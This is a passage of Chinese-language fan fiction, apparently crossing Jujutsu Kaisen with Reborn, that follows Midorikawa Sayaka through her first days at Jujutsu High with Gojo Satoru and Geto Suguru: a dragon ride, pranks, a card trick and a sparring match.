“啊……什么女孩?”绿川纱夏一脸的疑惑不解,好似真的不知道他在说什么。 人生要义——遇事不决就装傻。 “你真的看不见吗?你上来的时候,应该看到我旁边这人手里捏着什么东西吧?”五条悟眯着眼睛怀疑道。 “啊,或许……不过他不是抓着空气吗?”绿川纱夏顺着他的话往下说。 五条悟定定地看了她两眼,和夏油杰对视一眼,噗嗤一笑,“阿拉,这可怎么办才好呢。按理说你什么也没看到应该放你走的,可是偏偏上面交代过但凡有嫌疑的都要立即处理……” 说着,他微微俯身,双眸闪烁,紧锁在她茫然的脸上,“你说该怎么办才好呢?” 什么意思……? 绿川纱夏思索了两秒,一本正经地说,“我觉得人还是不能太听话,有的时候应该具体问题具体分析对吗。” “比如?”白毛少年眉梢轻挑。 “比如我只是个平平无奇的普通人,而且那块广告牌就在离这不到几百米的地方,你们去了就知道我没有撒谎。”绿川纱夏镇定自若,“况且是因为那块牌子上写了这里是家医院主题的猎奇餐厅,我才会走进来的。” 这也解释了为什么她走进一家废弃医院会说自己是来找餐厅的。 夏油杰的视线紧锁在她的脸上,不放过每一丝细微的变化,待她说完之后向五条悟递去一个眼神,表示自己认为对方应该没有撒谎。 五条悟有着相同的判断,但他看着少女平静的脸庞,突然很想看看对方受到惊吓的表情,便故意笑着恐吓,“或许你说的有道理,可惜我们的信条是宁可错杀也不放过。” 绿川纱夏:…… 绿川纱夏:“其实我有一个超能力,对你们会有帮助。” “哦?”夏油杰微微一笑,“愿闻其详。” 绿川纱夏斜了他一眼,发觉他笑的弧度和reborn是如此的相似,默默在心里对这个怪刘海打下不好惹的记号,随即冷静道,“我拥有预知的能力,我知道这个白头发的家伙叫做五条悟,而且你们都是来自东京都立咒术高等专门学校的学生。” 咦—— 两人面面相觑,都看出了对方眼里的怀疑,并用眼神进行交流。 夏油杰摸了摸下巴:【你相信她说的吗?】 五条悟翻了个白眼:【我又不是傻子】 虽然不知道她怎么知道这些的,但这些本来就不是什么机密,知道也没什么稀罕的,而且她出现在这事本身就疑点重重。 夏油杰扶额:【别吓唬人家了,差不多得了,我还想早点回去休息】 五条悟挤眉弄眼:【可是你不觉得很好玩吗?我们看看她还能编到什么地步】 五条悟将视线从夏油杰身上转投到面色如常的少女身上,他的眼睛很漂亮,那副过时的墨镜只会遮挡他的美丽,让绿川纱夏不禁想起自己刚才的猜想,就算这个家伙的脾气很臭,也绝对是很受欢迎的那一挂。 “咳咳,”五条悟看着眼前似乎是盯着自己入神的少女,忍不住轻咳了两声。 见绿川纱夏回过神来,他才慢悠悠开口,“我可是大名人,就算你知道这些也不稀奇,你的能力就只有这些吗?” 她的脑子飞速运转,试图找出一个更有说服力的理由,余光中瞥到他雪白的睫毛,突然脑子里出现了一个不可说的猜测。 说这个真的可以吗?不会被别人当成x骚扰的变态吧?绿川纱夏的脸上难得划过了一丝犹豫与担忧。 五条悟故意抬起手对准她,恶劣地笑着,“要是还没有想好的话,我就要把你轰成碎片了哦~” “三——” “二——” 就在他即将喊到一时,她用一种难以言喻的眼神看了他一眼,然后淡淡地开口,“我知道的,其实你那里的毛发也是白色的对吧。” “和别人不一样一定让你很自卑吧。” “没关系的,我不会看不起你的。”《 》 5、第五章 她的话音刚落下,她就看见对面的人肉眼可见的变红了,浓郁的粉红爬上白皙的皮肤,他就像是火爆辣椒,呲牙咧嘴地瞪着她,好像下一秒就要爆炸和她同归于尽了一样。 这个家伙到底是从哪知道这些东西的??!他可不相信她真的会什么预言。 而且她怎么一点也不害臊!!大庭广众之下说出这种东西来!! 难道说……她认识冥冥?? 不对,就算是冥冥那家伙也不至于这么没底线,偷看他那种地方吧!! “哈哈哈哈哈哈——” 他旁边响起惊天爆笑,夏油杰一边笑得揩眼泪,一边观察着他的神情,把手搭在他肩上,“不是吧悟,她说的不会是真的吧?” “滚!”五条悟不耐烦地拍开肩上的手,一把攫住她的手腕,皮笑肉不笑,“我不管你是不是真的会点什么,现在就乖乖地和我们走吧。” 绿川纱夏眨眨眼睛,“诶——” “不要。” 是干脆利落的拒绝。 “你没有拒绝的余地。”五条悟冷哼一声。 绿川纱夏空闲的那只手忽然抬起,在他面前转了几下,她的手上就凭空出现了一把上了子弹的左轮手枪,她十分娴熟地扳下保险栓,对准了他心脏的位置,“都说了不行啦,强人所难可不是什么好习惯哦。” 在旁边看好戏的夏油杰忍不住吹了个口哨,兴味盎然地说,“悟,你可小心点哦。” 五条悟不甚在意地瞥了一眼那把左轮手枪,抓紧她的手没有松一下,轻嗤一声,“你就只有这点把戏吗?” 这把枪上根本没有咒力,只能勉强对付普通人。 当然,就算有咒力也没用,它根本无法穿透他的无下限。 绿川纱夏挑眉,从刚才看到他们短暂的对战她就知道普通的物理攻击无法对他们造成伤害,不过她还是有点好奇,所以她一点也没犹豫就扣下了板机。 一颗子弹从漆黑的洞口快速飞出,直直地射向五条悟的胸口,然而,子弹却没有如预想那般穿进胸膛,它像是被无形的屏障阻碍,旋转的速度逐渐变缓直至完全停止,笔直地掉落到地上。 五条悟满意地看到了她眼中划过的错愕,得意洋洋地凑近说,“看到了吧,你的这把小手枪对我完——全无效哦。” 看来这个世界也有超自然的因素在,以自己的水平确实无法对抗这两人。 想到这,绿川纱夏忍不住在心里长叹一口气,果然人还是不能太自信,特别是在这种未知的情况下。 “悟,差不多得了,别吓唬人家了。”夏油杰略带无奈地拉了下五条悟,随即将视线转向薄荷色的少女语气官方地说,“不好意思,由于担心你看到一些不适宜的东西,我们需要带你回去做个心理辅导,不会耽误你太长时间,你可以放心,我们不会伤害你的。” 坏人当然不会说自己是坏人,绿川纱夏在心里腹诽,不过她能看出来这两人对她没有什么恶意,面上毫无波澜地答应了他,“好。” “不过我确实什么也没看到。”她很无辜地补充了一句。 五条悟冷笑一声,阴阳怪气地重复了一遍她说的话,“什么也没看到?” 绿川纱夏盯着他看了两秒,肯定地点点头。 “我的眼睛可是都看到了哦——”白发的少年用食指在空中比划着,肯定道,“咒力在你的体内流动着,你不可能没有看见那只咒灵。” 说完,他的嘴角扬起了一个大大的笑容,一字一顿地说,“你说对吗?骗子小姐。” 咒力? 这个世界特殊力量的名字吗?绿川纱夏没有被揭穿的窘迫,而是摸着下巴思考,既然他说自己体内有咒力流动,是不是说明自己也能学会他们的招式? 五条悟原本期待着对方露出气急败坏或者不好意思的表情,总之怎么也不应该像现在这么平静,倒惹得他自己心头一阵烦躁,这人怎么一点也不按常理出牌。 “好了好了,快点回高专吧,夜蛾老师还等着我们呢。”夏油杰一手插裤兜,一手向上抬起,一只巨大的白色巨龙就出现在他的身侧,低着庞大的脑袋,温驯地等待着主人的命令。 哇哦,不愧是有魔法的世界,连龙都存在。 绿川纱夏目不转睛地盯着那条白龙,见其一双金瞳炯炯有神,鳞片流光溢彩,她实在是眼馋得紧,情不自禁地发问,“你这龙在哪买的?卖吗?” 夏油杰:“……?” 夏油杰的脸像是被凝固了一般,缓缓上挑的眉尾也在述说着他的疑问,连他旁边的白龙似乎也愣了两秒,旋即默默往他身后缩了缩,似是真的在害怕眼前的少女会将自己买走。 “噗哈哈哈哈——”这下轮到五条悟嘲笑他了,他一手捂住憋不住笑的嘴,另一只手丝毫不顾及力道,用力地拍打着夏油杰的后背,“杰你听到了吗?她说要买下你的虹龙!!” 夏油杰脑门青筋毕露,咬牙切齿地说,“我自己有耳朵。” 不需要他再和自己重复一遍了。 似乎是认准了少女只是普通学生,拿不出很多钱,他随口漫天要价,“可以是可以,不过我要卖十亿円哦。” 十亿円已经是很多人穷极一生都赚不到的数字了。 没想到少女歪了下脑袋,似乎真的认真思考了一下,然后果断地应下,“可以哦,现金还是刷卡?” 毕竟她母父是做那行的嘛,她身上有点小钱也很正常,反正回去可以找她们报销。 况且这可是龙啊,要是带回去了不知道能研究出多少东西,简直是稳赚不赔的买卖。 当然,她是不会忘记多报点价以赚取中介费的。 一想到这些,绿川纱夏的嘴角又忍不住上扬了一个像素点。 而听到她问题的夏油杰则沉默了,他没想到她居然真的能拿出这么多钱,他不由得纳闷,现在的高中生都这么有钱了吗? 这可不是十万円,而是十亿円啊! “好了好了。”五条悟拍拍手掌来吸引两人的注意力,“不好意思,虹龙可是这家伙的宝贝,是不能卖给你的哦。不过要是你和我们回高专的话,说不定会得到其他好东西。” 考虑到自己打不过他们两,目前也没有其他能去的地方,绿川纱夏没有什么犹豫就爽快地答应了。 虽然疑惑这个火箭筒的停留时间怎么会这么长,但此时她还天真地认为最多晚上睡一觉,明天应该就可以回去了,毕竟波维诺家族的科研能力可是一流的。 夏油杰看着少女轻松翻到虹龙的身上,好心地提醒了一句,“要不你坐前面来吧。” 绿川纱夏虽然不解,但仍然照做。 当她坐在龙头上被风吹的左摇右晃的时候,她终于理解了他的好意。 她只能用力地抓住龙角努力维持稳定,这玩意可比过山车吓人多了,完全没有安全措施,要是她一个不慎被风吹翻,这两人没有捞到她,可不就倒大霉了么!! 五条悟则是不遗余力地想办法捉弄她,专门坐在她旁边观察她的表情,见她脸上虽毫无波澜,但那双颤抖的手还是出卖了她的心情。 呵,装货。 五条悟心里嗤笑一声,想到她这么害怕还要逞强,脑袋里邪恶的点子就像喷涌的泉水迸发出来,想着必定要让她吃点苦头才是。 他挪到夏油杰身边,一下揽住他的肩,小声问,“有没有那种没什么攻击性但很吓人的咒灵?” 夏油杰:“……你又想干什么?” 万一把人吓掉下去,自己还得陪他一起去捞人。 “你别明知故问,快点使出来借我用用。”五条悟朝他勾勾手,不客气地说。 “不。”夏油杰斩钉截铁。 “别那么小气。”五条悟握着他肩膀的力道重了点,语气里带了点试探,“一星期早饭?” “一个月。” “两星期。” “一个月。” “你别得寸进尺!最多三星期!” “成交。” 夏油杰见好就收,立马召唤出几只看起来就不太灵光、面部扭曲的咒灵,在五条悟的示意下命令它们靠近坐在龙头的少女。 “事先说好,如果出现什么意外都和我没关系。”做完这一切后,夏油杰立刻发出了免责声明。 虽然她看着胆子挺大的,但万一给人吓出心理阴影可就麻烦了,他可不想被夜蛾老师逼着写几千字的检讨。 “你就放心吧!”五条悟拍了拍他的肩,注意力已经完全被那几只小咒灵吸引了,嘴角不自觉地扬起,期待着少女被吓到尖叫的场景。 绿川纱夏两手用力攥着龙角,已经渐渐习惯阵阵的失重感,正看着手边掠过的云发呆,就感觉衣角传来隐隐拉扯的力道。 她侧目望去,一只黑乎乎的怪物映入眼帘,它的身上密密麻麻布满了鼓起的脓包,脸上有一道自头顶到嘴巴的裂缝,眼睛像比目鱼一样长在脸的两侧,嘴看上去却和人类无异。 很快她就发现自己的背上,另外一侧手臂都被这种怪物抓住,但它们并没有表现出攻击的意图,只是围着她爬来爬去,好似只是一场游戏。 绿川纱夏回头瞥了一眼身后的两人,怪刘海不知是真是假,正闭着眼睛小憩,而白毛男则一脸悠哉地抬头望天,嘴里还吹着欢快的小调,仿佛自己毫无察觉的样子。 但她的视线朝下却观察到他的指尖正轻轻敲击着龙的身体,乱动的瞳孔和摇摆的身体也反映出他按捺不住的心情。 真是个恶劣的家伙啊。《 》 6、第六章 绿川纱夏没有戳穿他,扭过头继续望着云朵,任由那几只小怪物在身上跳跃攀爬,即便背后传来炽热的视线也始终一副岿然不动的模样。 其实还挺舒服的,这几只咒灵的四肢踩在她身上的时候就像按摩店的师傅按压着,密密麻麻地移动着,让有些紧绷的肌肉和神经都慢慢放松下来。 “喂,你这咒灵怎么没用啊?”等了半天的五条悟见坏事没干成,不满地撞了撞夏油杰的胳膊,自己可是用了三个星期的早餐交易的,就换来这么个结果。 这女人真是正常的中学生吗?见到这些恶心的东西居然一点也不怕。 夏油杰脱离假寐状态,斜着眼瞧了他一眼,漠不关心,“本店出品,概不退款,也不包售后。” 他可巴不得对方没被吓到,自己也省了被罚检讨的后顾之忧。 想到白白得了三个星期的早餐还没有副作用,夏油杰感觉自己疲惫的神经都舒缓了一点,眼里都多了一丝愉悦。 “你这奸商!!” 五条悟没想到自己的挚友如此不负责任,顿时怒火中烧,作势要去掐他脖子,夏油杰见状身子倏忽向后一倒,命令虹龙迅速向下俯冲,突如其来的冲击令五条悟自顾不暇,只能先努力稳住身形。 “夏油杰你这家伙太卑鄙了!” 绿川纱夏则是影响紧闭着双眼,剧烈的气流让她的眼睛不太好受,耳边只能听到呼啸的疾风和五条悟的声音,没过几分钟,一切归于平静,虹龙静静地趴在地面上,等待主人的下一步命令。 一道清朗且带着笑意的嗓音在她耳畔响起,“不好意思,这家伙又犯病了,没惊扰到你吧?我们到了哦。” 她扭头望去,是那个留着怪刘海的少年正笑眯眯地看着自己,还没等她回答,另一道刺耳的咆哮先在耳边炸开。 “夏油杰你说什么呢??!!又想打架了是吧?!” 身后两人又掐起来了,绿川纱夏没有劝架的意思,而是左顾右盼,观察周围的环境,她一眼就看到一个留着胡子的中年男人在门口坐着。 “你们也太慢了吧——”他似乎正想抱怨,就看到了正盯着自己看的绿川纱夏。 “……这位是?” “啊——”刚刚还在拽夏油杰的五条悟立马冲上前,兴奋地向他邀功,“这是我给你新抓的学生,怎么样,很不错吧?” “等等你说什么?”夜蛾正道额角青筋毕露,没想到这个闯祸精的闯祸等级越来越高,现在居然还学会从外面拐人了。 他上下打量了一下眼前的少女,下意识地认定她就是一名普通的女高中生。 他只好无奈地拽着五条悟的耳朵将他拉到少女面前,要求他和人家道歉,“不好意思啊,这家伙……有些不着调,待会儿我会找人把你送回去的。” 五条悟一边小脸皱起喊疼,一边抗议,“夜蛾老师你就是被她的外表欺骗了啦!我可是真真切切地看到了她体内有咒力流动的哦!” “更何况,怎么可能会有普通的女高中生随身带枪呢!” 听他这么一说,夜蛾正道也认真了不少,他知道没有什么能躲过六眼,况且五条悟虽然有时候做事不靠谱,但却从不会信口雌黄。 于是他将三人一齐领进高专,请绿川纱夏到他办公室喝茶。 当然绿川纱夏知道他的“喝茶”没有那么简单。 一坐下来,他先是询问了她的姓名年龄,又问了她在哪里上学,父母在哪工作云云。 绿川纱夏只将年龄和姓名告诉他,剩下的只说自己现在无处可去,信息无可奉告。 夜蛾正道有些犯难,犹豫着是该留下她还是将她送去警局。 看她的样式,不太像逃学的不良少女,但她连自己的学校都不肯说,他也拿不准她的具体情况。 万一她的父母老师正在找她怎么办? 但目前咒术界确实十分缺人,任务更是呈指数型增长,从五条悟的话中,他也能猜到少女的身手和天赋不弱,稍加培养便是一名不错的咒术师。 纠结了一会儿,他还是决定先将她留下,其余的则拜托自己警局的朋友调查。 绿川纱夏对这个结果不是很意外,也并不在意,此时她还坚信自己过不了多久就可以回去。 她的视线在办公室内四处飘荡,最后落在角落的一只熊猫玩偶上。 这只熊猫玩偶身高足有一米多,差不多和七八岁的人类小孩一样大,身上的毛发干净顺滑,十分逼真,正乖巧地坐着。 绿川纱夏忍不住靠近他,蹲在他身前打量着这只一动不动的熊猫。 见状,夜蛾正道连忙提醒道,“等等,别离他太近——” 绿川纱夏有些不解,正想回头,眼前的熊猫玩偶却突然动了,挥手一拳朝她袭来,却被她轻松接下。 她的眼里兴味渐浓,“诶——好厉害,居然还会动吗?” 熊猫显然并不打算就此结束,他缓缓站起身子,双臂隐隐露出肌肉,毫不客气地滑铲到她身前一个飞踢,紧接着就像拳击手一样不断向她出拳,只见她像猫儿一样轻松躲过,身体柔韧度极佳,抓准时机一手抓住他的脖子,两腿借势弹跳起来,一个剪刀腿锁紧他的头部将他翻倒在地上。 熊猫在地上滚了两圈才站起身子,眼睛亮亮的,对着她竖起了大拇指,“好厉害!” 绿川纱夏恨不得能拿出手机对着他夸夸拍照,回去之后她一定要告诉他们,功夫熊猫是真的! 这边硝烟刚刚散去,那边五条悟已经按捺不住想要冲上来了。 连夏油杰眼里都隐隐有战斗的冲动。 “喂喂,也和我打一架吧!” 夜蛾正道真是一个头两个大,给五条悟的脑门来了一个正义铁拳,才总算让他安静一点。 “以后多的是打架的机会,现在给我安分一点,这个月你们拆的房子够多了!!” 一想到桌上络绎不绝的修补账单,他就感到十分头疼。 此时他还不知道,眼前的少女马上就会成为“拆家小队”的第三人,甚至比两位“前辈”更加肆无忌惮。 绿川纱夏回到分配给自己的宿舍,坐在床边,从外套口袋里面掏出了一副扑克,只见她沉思片刻,随手抽出一张甩到墙上,扑克牌立刻深深地嵌在了墙中。 她看了眼自己的手,感觉有种无形的力量促使自己注入到扑克牌中,让它能造成更强大的伤害。 她闭上眼睛,仔细感受着这股陌生的力量,手中的牌堆中漂浮出一张黑桃a,在那股力量的牵引下,她将力量投注到其中,扑克牌变成了一把长剑。 绿川纱夏举起长剑挥舞了几下,除了特别轻,没发觉有什么特别的地方。 她又尝试着向其他扑克牌中注入力量,却失败了。 咦? 只有这一张能变化吗? 不过就刚刚那么一下,她能感受到自己体内的力量在迅速变少,所以也有可能是剩余的力量不能支撑第二次的变形。 绿川纱夏思索片刻,觉得这股力量应该就是五条悟所说的咒力。 只不过她目前还不清楚这个变化出来的剑到底有什么用,是否在力量或其他方面有一定增幅。 算了,不想那么多了,明天问问他们就知道了吧。 绿川纱夏身子向后一倒,整个人躺在床上,望着天花板。 不过,也不知道明天她还在不在这。 说不定一觉醒来自己已经回去了吧?《 》 7、第七章 当绿川纱夏一觉醒来,发现自己还在咒术高专的学生宿舍里时,她总算意识到有些不对劲了。 不过她并不是很担心,毕竟有威尔帝和入江正一在,制造出穿梭时空的机器对他们来说应该不是什么难事吧? 她一面换上一套苹果绿色的运动服,一面查看新手机的信息,分别来自五条悟和夏油杰。 【五条悟:你是不是忘了还有课?在201教室。】 夏油杰的消息在他之后的十分钟发来。 【夏油杰:绿川同学,马上就要开始上课了哦,遇到什么事情了吗?】 他们真把自己当成新同学了。 还有,这两个人是这么热心肠的人吗? 绿川纱夏回想一下昨天在虹龙上遇到的事,总觉得事情没有这么简单。 思索片刻,给两个人都回复了一个好,才不紧不慢地出了门。 * “这样对新同学不太好吧?”夏油杰用手撑着脸,挑了下眉,看向五条悟。 就在不久前,这家伙提议在门上挂一桶水来恶搞一下新来的同学。 怕新同学找不到教室,还特意用自己和他的手机给人家发信息确认。 “这有什么不好的,就她昨天和熊猫那两下怎么可能躲不过去。”五条悟无所谓地摊手,“再说了,你的咒灵不就在旁边,如果她真的没反应过来,也不会被淋到的。” “被你们说的我越来越好奇了。”家入硝子身子往后一靠,懒散地挂在椅子上。 “反正你等下就能见到了。”五条悟随口道,忽然像是想起了什么一样,“对了,杰你对我的学生卡有印象吗?我好像找不到它了。” 从昨天开始,他就没有看到过它的身影了。 “五条同学,我只是你的同期,不是你的保姆,做不到对你的生活面面俱到。” “还有,请问我的早餐去哪了?”夏油杰笑眯眯地问。 五条悟皱着眉头想了下,斩钉截铁,“我忘了。” 眼瞧着他嘴角的笑意渐深,五条悟没好气地说,“我等下下课去帮你买。” 家入硝子不客气地举起手,“顺便帮我带一份谢谢——” 走廊响起了脚步声。 “啪嗒,啪嗒。” 三人的目光瞬间一齐聚向了那扇教室门。 五条悟炯炯有神地盯着门,眼里还带着隐隐的兴奋和期待,嘴角挂着恶作剧即将得逞的笑容。 夏油杰指尖微动,专心操纵着一旁的咒灵,他可不想这么快和新同学积怨外加被夜蛾老师罚写检讨。 家入硝子脸上则很是平静。 “吱嘎——” 门被打开了。 桶里的水瞬间倾泻而下,全部浇灌在来人的身上。 三人的表情都愣了一下,五条悟嘴角的笑僵住,眼底缓缓浮现出一抹不可思议。 “夜、夜蛾老师??” 夏油杰不动声色地收回咒灵,然后在心底长叹一口气,他知道检讨离自己已经不远了。 一抹薄荷色忽然闯入他们的视野中,绿川纱夏慢悠悠地从夜蛾正道后面晃出,假装十分吃惊的样子,“啊呀,老师你这是怎么了?” 夜蛾正道面无表情地用手抹去额头上滑落的水,他那身深色的制服也在不断地滴着水。 “谁干的好事,给我滚出来。” 没有歇斯底里,没有咆哮,但众人都从这句话中听出了难以忽视的怒气。 夏油杰和家入硝子默契地指了指五条悟,五条悟则悻悻地摸了摸后脑勺,“老师你听我解释……” “五条悟罚写一万字检讨,另外两人各五千!”夜蛾正道充满怒意地将书摔在讲台上。 家入硝子和夏油杰对视一眼,没有解释,乖乖认罚。 绿川纱夏则搬来一套新的课桌在家入硝子的旁边,笑吟吟地和她打招呼,“你好,我叫绿川纱夏,还请多多关照。” 家入硝子定定地看了她两眼,“我是家入硝子。” 夜蛾正道回去换衣服,让她们几个先自习一会儿,走之前还特地警告了一下班上的问题儿童不要再惹事。 五条悟无辜地眨眨眼睛,保证自己不会再闹事了。 待夜蛾正道一关门,他就原形毕露,按捺不住地去“质问”绿川纱夏,“你怎么和夜蛾老师一起来的?” 一般来说,夜蛾老师会卡点到,所以他才催促着绿川纱夏来,好让自己为她准备的“大礼”不要落空。 绿川纱夏也学着他刚刚那副模样,眨眨眼睛,很无辜的样子,“我是新来的,让老师带我来也很正常吧。” 话是这样说没错,但五条悟总觉得很有些可疑。 “啊,所以说,五条同学你刚刚是想浇我身上的吧?”绿川纱夏一副恍然大悟的模样,立刻佯作伤心,“不知道我做错了什么,五条同学你要这样针对我呢?” 五条悟被问得哑口无言,半天才憋出一句话来,“你想多了。” 当然,他的这句话毫无信服力。 待到这节课结束,五条悟起身去买早饭,语气算不上好,“喂,还是老样子吗?” 夏油杰笑着点点头,“是的,拜托了。” 他的视线转向家入硝子,后者也点头。 正当他准备收回视线,余光中瞥到旁边的绿川纱夏有话要说,“麻烦也替我带份三明治吧,要蛋黄酱的哦。” 五条悟用极其匪夷所思的目光望向她,眉毛上挑,话音里带着怀疑,“你在和我说话?” “当然了。”绿川纱夏嘴角微微上扬,挂着一丝若有若无的笑意,“既然拿我当赌注,那替我带个早饭不过分吧?” 昨天他们两个的赌约她可是听的一清二楚呢。 五条悟不知道是心虚还是怎么的,最后只咬咬牙,“知道了。” 只见他怒气冲冲地走了出去,用力地甩上门。 “砰——” 看上去很生气的样子呢。 绿川纱夏回想着他刚刚炸毛的样子,眼睛都瞪圆了,不由让她想起隔壁邻居家的那只布偶猫,也是一双很漂亮的蓝瞳,令人印象深刻。 她没注意到的是,旁边的夏油杰正意味深长地看着她,家入硝子也一副若有所思的样子。 “喂,你要的三明治。”五条悟态度不算友善地将三明治扔到她桌上,心里十分不爽,特别是看到对方灿烂的笑容后。 “多谢五条同学啦。” 夜蛾正道特地详细地讲解了许多和咒术有关的内容,包括咒术的来源和使用,并告诉她除了理论课还有体术课,平时也需要做任务什么的。 除去和咒术相关的课程,这里还有不少正常高中生要上的内容,绿川纱夏的成绩一向很好,这些课程对她来说并没有什么太大的难度。 上午的课很快就结束了,在几人去食堂吃饭之前,绿川纱夏突然对五条悟说要给他变个魔术。 “魔术?”五条悟一脸狐疑地看着她,总觉得她不怀好意。 “就当是,你帮我带早饭的谢礼吧。”绿川纱夏说。 五条悟有些勉强地点点头,也想看看她葫芦里到底卖的什么药。 绿川纱夏抬起自己的右手,对着他们三人晃了晃,“你们看,现在我手里是没有任何东西的。” 见三人没有异议,她才开始自己的戏法,中间两指一弯,一张扑克凭空出现在她手中,紧接着一张又一张扑克从她手里变出再扔到桌上,随着她大拇指的滑动,一扇牌丝滑地变出。 五条悟觉得没意思,将桌上的牌拿起夹在手指后面,学着她的样子一张一张翻出,不忘向她投去挑衅的眼神。 绿川纱夏没有被拆穿的慌乱,而是微微一笑,拿出两副牌,手法娴熟地洗了一遍,“我会从里面选两张特殊的牌。” 她挑出两张牌,依次反扣在桌面,作为第一次拿出的牌。 然后打开牌让五条悟随意挑出一张。 她翻开那张牌,是一张红心k。 接着,她手滑动,将手中的牌铺开在桌面,分别挑出五条悟选的牌的前后两张,这是她第二次取出的牌。 绿川纱夏手掌打开指向第一次取出的牌,“现在你可以打开它们。” 他照做,是一张大王和一张小王。 夏油杰噗嗤一笑,在收到五条悟一记眼刀警告之后,迅速收敛笑意。 “你知道吗,牌和牌之间也是有缘分的,就像我们一样。”绿川纱夏笑意盈盈地说。 不出意料的收获了几双不相信的目光。 然后她在几人的注视下缓缓翻开另外两张牌,和第一次的结果一样,也是一对王。 “看来我们真的很有缘分呢。”绿川纱夏慢悠悠地说着,将牌整理好收回了自己的包里,“好了,今天的魔术到此结束,欢迎下次收看。” 五条悟扁扁嘴,本以为她会耍什么花招,没想到居然真的就只是变魔术,他反手抓起包扛在肩上,顺手打了个哈欠,“中午吃啥?” 夏油杰跟着他走出去,“先看看有什么。” 家入硝子见两人走出教室,扭头给她竖了个大拇指,像是找到了臭味相投的朋友,“你的动作确实快。” 绿川纱夏知道被她看见了,将食指竖起放在唇上,小声地,“嘘——” 没过几秒,教室外面就传来五条悟慌乱的声音,“靠!为什么我的书包着火了??还是绿色的??!” “夏油杰是不是你干的??!” 夏油杰也骂了句粗话,不爽地回复,“我烧你书包干嘛。” 他要是想整他,直接一拳头就上去了。 “可恶——!!” 五条悟愤怒地大声咆哮,随即传来重物落地和不断踩踏的声音。 而绿川纱夏则是十分优雅地理好书包起身,淡定地从他们身边路过,全然事不关己的样子。 看着五条悟上蹿下跳灭不了火的狼狈模样,她的心里一阵舒坦,嘴角的弧度不自觉变大。 嘛,坏孩子总是要受到一些惩罚的吧?《 》 8、第八章 自从经历书包着火事件之后,五条悟和绿川纱夏的梁子正式结下,两人越发不对付,但由于种种原因,他始终没能找到合适的机会反击。 “她到底是怎么做到的啊!”五条悟手握拳,用力地砸向桌面,忿忿地说,“怎么会有绿色的火焰,这家伙根本就不是什么正常人吧!” 等他好不容易灭完火之后,书包里面掉出了一张扑克牌碎片,他拿起来一看是joker的一个角,天知道他当时是什么心情! 杰还在旁边扶墙笑了半天! 他一直在苦思冥想,到底怎么样可以既免去夜蛾老师的惩罚,又能让这个不知天高地厚的家伙吃一堑。 然后,体术课来了。 五条悟的机会也跟着来了。 说是体术课,其实就是他们锻炼体能加比划比划的时间,夜蛾正道并不会出现,作为非战斗人员的家入硝子也不用参加,于是这场邪恶的计划只涉及到三个人。 五条悟为此规划了一揽子复仇计划,就为了让绿川纱夏出丑,尝尝失败的滋味。 而夏油杰听完他的计划之后也是对他叹为观止,他真的没想到这位同期竟然有如此强烈的报复心。 不过,他并不认为五条悟会成功就是了。 “上次是书包着火,这次会是什么呢?衣服着火还是头发着火?”夏油杰笑眯眯地奚落他,心情很不错的样子,似乎眼前已经浮现出雪白的发丝燃烧着幽绿色火焰的画面。 五条悟冷哼一声,“你等着瞧吧,我一定会让那家伙竖着进来,横着出去!” “拭目以待。” 很轻的脚步声响起,但两人都敏锐地看向声音来源。 五条悟的嘴角止不住地扬起,朝来人打招呼,“哟,来了。” 绿川纱夏看着他兴奋的表情,往周围扫视了一圈,挑了下眉,“这节课没老师吗?” “我就是你的老师。”五条悟昂起下巴,嚣张至极,“来打一架吧。” 莽夫。 绿川纱夏心里嗤笑一声,转身头也不回地走了。 五条悟一下傻眼了,他想象中的剧本不是这样的,她不应该被自己激怒然后冲上来给他一拳吗? 怎么转身就走了? “喂!你去哪里?” “寝室。”绿川纱夏懒洋洋地回了一句,还打了个哈欠。 昨晚睡太迟了,要是知道没老师她就不来了。 “你小心我告诉夜蛾老师你翘课!”五条悟气急败坏地喊道,就像是煮熟的鸭子在他眼前飞走了一样,他好不容易等到这个可以正大光明教训她的机会! “随便你。” 反正她在这里待不了多久就可以回去了。 不过他还真是小孩子啊,居然还用告老师这招威胁人。 见她真有扬长而去之意,五条悟一个箭步冲上前,试图抓住她的肩膀不让她走。 绿川纱夏头也没回,像是背后长了眼睛似的,向旁边一闪轻松躲过,继续打着哈欠往回走。 五条悟不愿轻易放过她,拦在她身前。 她轻轻皱眉,“你想怎样?” “和我打一架。”五条悟的语气很坚定,“你放心,我不会用咒术的。” 她刚接触咒术,咒力也很微薄,他用咒术去对付她不就是欺负人嘛。 他只是想堂堂正正地和她打一架。 绿川纱夏本不想和他缠斗,但跑又跑不掉,环顾一圈,只有个眯眯眼的怪刘海在旁边看戏,找他帮忙是不可能的了。 她叹了口气,对上面前少年认真的双眼,突然发现他的眼睛很漂亮,像蓝宝石一样透亮有光泽,让人忍不住沉醉。 见她突然不说话了,只是看着他,似乎是在走神,五条悟感到有些莫名,话音里带了丝迟疑,“你怎么了?” “没事。”绿川纱夏回过神来,淡定地说,“那来吧,十招分胜负。” “行。”五条悟爽快地答应了。 根本用不着十招,他就能轻轻松松把她打趴下。 “我要开始了。” 见她还站在原地无动于衷,五条悟忍不住提醒了一句,怕她说自己偷袭,有失风度。 下一秒,他就迅速俯冲上前,甚至看不清他的身影,他就已经来到了绿川纱夏身前,准备给她一记旋风踢,在他的腿腾空的瞬间,她已经来到五条悟的身后,一只手撑在地面稳定重心,等待他腿落地时使出扫堂腿。 啊啦,她的格斗术也是有幸被reborn教过几天的,要是这么容易就被打趴下,那也太没用了。 五条悟察觉出她的意图,迅速调整腿的动作,脚用力蹬了下空气,在空中翻转跳跃,轻巧落地。 她并不准备给他喘息的机会,直直地撞了上去,一手攫住他的脖子作为支撑,一条腿迅速抬起卡在他肩膀处,腰部带着另一条腿顺势翻转,两腿用力卡住他的脖子试图将他翻倒在地,但五条悟却岿然不动,还抽空嘲讽她了一句,“你早上没吃饭吗?力道软绵绵的。” 说着,他抓住她的胳膊想将她一把甩到地上,她的腿弯折着使劲蹬了下他的胸膛,在空中划出几道优美的弧度后落地。 两人迅速对抗着,动态视力不好的话就只能看到星点残影。 夏油杰仔细观察着两人的动作,对这位新同学的实力有了一些新认识。 这位新同学一看就是战斗经验少,好几次被五条悟压制,但她的招式却很有技巧,变化多端,总是出其不意,同时也很费体力,如果是正式的战斗,她一定不敌五条悟。 但说实话,光看这套路数就能想象到跟她对上一定很有意思,连他一个在旁边观看的人都觉得有些兴奋起来了,更别提场上的人了。 夏油杰看着某个看上去平静实际上已经兴奋到微微手抖的人,嘴角微微上扬。 看来悟打得很开心呢。 不过他们只比十招。 这样一来,他猜测两人最可能的结果是平局。 